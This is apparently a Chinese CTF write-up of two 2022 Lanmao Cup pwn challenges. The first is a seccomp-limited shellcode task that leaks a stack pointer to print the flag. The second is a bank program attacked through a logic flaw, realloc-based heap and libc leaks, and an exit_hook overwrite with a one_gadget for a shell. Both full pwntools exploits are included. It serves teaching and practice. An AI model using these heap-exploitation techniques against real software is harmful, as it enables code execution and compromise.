0%

蓝帽杯2022pwn题

蓝帽杯2022 pwn题复现

EscapeShellcode

只允许read和write

程序将根目录下的flag读入到bss段的flag变量中

这里输入shellcode并执行,执行之前会将除了rip之外的寄存器全部清除

程序开启了pie,这里采用泄露地址的方法拿到flag的地址,然后直接write出来

在fs + 0x300处有一个栈地址可以泄露

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
banary = "./pwn"
elf = ELF(banary)
ip = '106.54.163.94'
port = 20000
local = 1
context(arch='amd64')
if local:
io = process(banary)
else:
io = remote(ip, port)

context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()


shellcode = """
xor rsi,rsi;
mov rsi, fs:[0x300];
mov rsi, [rsi];
add rsi, 0x2b90;
xor rdi, rdi;
xor rdx, rdx;
mov rdi, 1;
mov rdx, 0x30;
mov rax, 1;
syscall
"""

payload = asm(shellcode)
sl(payload)
ia()

Bank

取钱的函数里存在逻辑漏洞,当取的钱和账户里剩余的钱相等时,不会扣钱,这里存钱和取钱结合就能刷很多钱了

向hacker转钱时可以free任意地址

向admin转钱可以泄露堆地址

这里的话需要利用relloc的特性

  1. 对ptr进行判断,如果ptr为NULL,则函数相当于malloc(new_size),试着分配一块大小为new_size的内存,如果成功将地址返回,否则返回NULL。如果ptr不为NULL,则进入2
  2. 查看ptr是不是在堆中,如果不是的话会跑出异常错误,会发生realloc invalid pointer。如果ptr在堆中,则查看new_size大小,如果new_size大小为0,则相当于free(ptr),将ptr指针释放,返回NULL,如果new_size小于原大小,则ptr中的数据可能会丢失,只有new_size大小的数据会保存(这里很重要),如果size等于原大小,等于啥都没做,如果size大于原大小,则看ptr所在的位置还有没有足够的连续内存空间,如果有的话,分配更多的空间,返回的地址和ptr相同,如果没有的话,则会使用malloc分配更大的内存,将旧的内容拷贝到新的内存中,把旧的内存free掉,则返回新地址,否则返回NULL。

在realloc了一块空间后,再realloc一块更小的这样就能达到free的效果,从而泄露堆地址

因为可以free任意地址,所以可以直接伪造unsorted bin大小的chunk来达到泄露libc的效果

最后向abyss转钱将exit_hook改成one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
banary = "./Bank"
elf = ELF(banary)
ip = '106.54.163.94'
port = 20000
local = 1
context(arch='amd64')
if local:
io = process(banary)
else:
io = remote(ip, port)

context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()

def Login():
sla(b'Click: ', b'Login')
sla(b': ', b'1' * 0x10)
sla(b': ', b'123456')

def Put(money):
sla(b': ', b'Put')
sla(b'? ', str(money))

def Dep(money):
sla(b': ', b'Deposit')
sla(b'? ', str(money))

def admin(money):
sla(b': ', b'Transfer')
sla(b'? ', b'admin')
sla(b'? ', str(money))

def delete(ptr):
sla(b': ', b'Transfer')
sla(b'? ', b'hacker')
sla(b'? ', b'52')
sla(b'!', str(ptr))

def relloc(size):
sla(b': ', b'Transfer')
sla(b'? ', b'ghost')
sla(b'? ', b'11')
sla(b')', str(size))

def abyss(con):
sla(b': ', b'Transfer')
sla(b'? ', b'abyss')
sla(b'? ', b'0')
sl(str(con))

def malloc_0x10(con):
sla(b': ', b'Transfer')
sla(b'? ', b'guest')
sla(b'? ', b'6')
sa(b': ', con)


money = 0x100
Login()

#get more money
Put(0x100)
for i in range(10):
Dep(money)
Put(money)
money *= 2

for i in range(8):
malloc_0x10(b'aaaa')
# leak heap
relloc(0x100)
relloc(1)
admin(0x148 // 8)
ru(b'think ')
heap = int(io.recv(14), 16) - 0x10
print(hex(heap))

#leak libc
malloc_0x10(p64(0) + p64(0x421))
for i in range(34):
malloc_0x10(p64(0) + p64(0x21))

delete(heap + 0x4e0)
admin(0x240 // 8)
ru(b'think ')
libcbase = int(io.recv(14), 16) - 0x1ebbe0
print(hex(libcbase))
exit_hook = libcbase + 0x1f5150
one = libcbase + 0xe6af4
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
print(hex(exit_hook))

delete(heap + 0x2a0)
malloc_0x10(p64(exit_hook) * 2)
abyss(one)
ia()

参考链接

https://blog.e4l4.com/posts/%E8%93%9D%E5%B8%BD%E6%9D%AF/#bankexit_hook